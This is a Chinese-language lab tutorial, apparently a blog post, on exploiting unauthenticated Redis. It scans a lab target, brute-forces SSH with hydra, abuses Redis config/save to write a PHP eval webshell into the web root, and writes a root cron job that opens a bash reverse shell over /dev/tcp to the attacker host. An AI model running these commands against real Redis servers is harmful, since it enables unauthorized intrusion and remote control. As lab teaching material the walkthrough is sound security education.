Redis未授权访问漏洞

未授权访问漏洞

未授权概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。

常见的未授权访问漏洞

  1. Redis 未授权访问漏洞
  2. Docker 未授权访问漏洞
  3. MongoDB 未授权访问漏洞
  4. Jenkins 未授权访问漏洞
  5. Memcached 未授权访问漏洞
  6. JBOSS 未授权访问漏洞
  7. VNC 未授权访问漏洞
  8. ZooKeeper 未授权访问漏洞
  9. Rsync 未授权访问漏洞
  10. Atlassian Crowd 未授权访问漏洞
  11. CouchDB 未授权访问漏洞
  12. Elasticsearch 未授权访问漏洞
  13. Hadoop 未授权访问漏洞
  14. Jupyter Notebook 未授权访问漏洞

Redis未授权访问

Redis简介

Redis 是完全开源免费的,一个灵活的高性能 key-value 数据结构存储,可以用来作为数据库、缓存和消息队列。

  • 应用场景

    1. 存储 缓存 用的数据;

    2. 需要高速读/写的场合使用它快速读/写;

  • redis架构

    rides主要有两个程序组成:

    Redis 客户端 redis-cli

    Redis 服务器 redis-server

客户端、服务器可以位于同一台计算机或两台不同的计算机中。

漏洞原因

部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作

Redis常用命令

Redis常用命令:

set testkey "Hello World"       # 设置键testkey的值为字符串Hello World

get testkey                  # 获取键testkey的内容

SET score 99                 # 设置键score的值为99

INCR score                 # 使用INCR命令将score的值增加1

GET score                   # 获取键score的内容

keys *                       # 列出当前数据库中所有的键

get anotherkey               # 获取一个不存在的键的值

config set dir /home/test       # 设置工作目录

config set dbfilename redis.rdb    # 设置备份文件名

config get dir                  # 检查工作目录是否设置成功

config get dbfilename         # 检查备份文件名是否设置成功

save                        # 进行一次备份操作

flushall                      # 删除所有数据(慎用)

del key                      # 删除键为key的数据

实验环境来自:
https://www.yijinglab.com/expc.do?ec=ECID80df-3b9e-4742-8524-1843d705386c

靶机:10.1.1.200

攻击机:10.1.1.100

漏洞发现

Redis服务默认端口:6379

端口探测

nmap扫描:
nmap -sV -p- -T4 10.1.1.200
请添加图片描述

扫描结果发现开放22,80,6379熟悉的端口

  • 80端口:使用浏览器直接访问80端口

请添加图片描述

通过目录扫描发现网站敏感目录或敏感页面,发现存在phpinfo信息泄露:python3 dirsearch.py -u http://10.1.1.200/ -e *

请添加图片描述
请添加图片描述

  • 22端口(ssh)

    使用hydra爆破连接ssh密码
    请添加图片描述

连接ssh

请添加图片描述

  • 6379端口开放,存在Redis服务

    首先下载Redis客户端连接工具(工具包里),解压后进入Redis目录,然后通过make进行编译,即可使用Redis-cli尝试连接Redis服务器:

    tar -zxf redis-6.0.3.tar.gz

    cd redis-6.0.3

    make

    在/redis-6.0.3/src目录中查找到redis-cli文件

请添加图片描述

复制到bin目录下:cp redis-cli /usr/bin

执行redis-cli -h 10.1.1.200 -p 6379(在端口是默认端口时,可以不加参数-p)

参数

-h:指定连接的redis服务器

-p:指定redis服务器端口

请添加图片描述

info:打印系统信息,如Redis的版本、目标系统版本、系统架构等

请添加图片描述
由此可见存在Redis未授权访问漏洞

Redis未授权访问漏洞利用

Redis未授权写入webshell

通过redis数据备份功能结合WEB服务,往WEB网站根目录写入一句话木马,从而得到WEB网站权限

要把一句话写入网站根目录,有两个前提条件,第一:知道目标网站根目录绝对路径,第二:对目标网站根目录有写入权限,通过对前面phpinfo页面的信息收集,我们可以知道目标网站根目录绝对路径为:/var/www/html
请添加图片描述

通过执行如下命令写入一句话木马到网站根目录:

redis-cli -h 10.1.1.200 -p 6379     #连接redis服务器

config set dir /var/www/html      #设置数据库备份文件的放置路径

config set dbfilename shell.php    #设置备份文件的文件名

set x "<?php @eval($_POST['test']);?>"   #添加一个键”x”,值为一句话木马

save     #保存

请添加图片描述

注意:设置键值为一句话木马时,可以使用如下形式:

set x "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"

解释:”\r\n\r\n” 表示换行,用Redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

通过浏览器访问对应页面确认是否写入文件成功,显示如下,说明成功写入:

请添加图片描述

然后即可通过工具包里面提供的蚁剑连接一句话木马:

请添加图片描述
请添加图片描述

Redis未授权定时任务反弹shell

  1. Kali使用nc开启监听,kali终端下执行如下命令:

    nc -lvvp 4433

  2. 执行如下命令写定时任务

    redis-cli -h 10.1.1.200 -p 6379   #连接目标redis服务    
    
    set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1\n\n"  
    
    #设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
    
    config set dir /var/spool/cron    #设置备份路径
    
    config set dbfilename root    #设置备份文件名
    
    save          #保存
    
    
  3. 等待一分钟后即可得到目标shell

请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值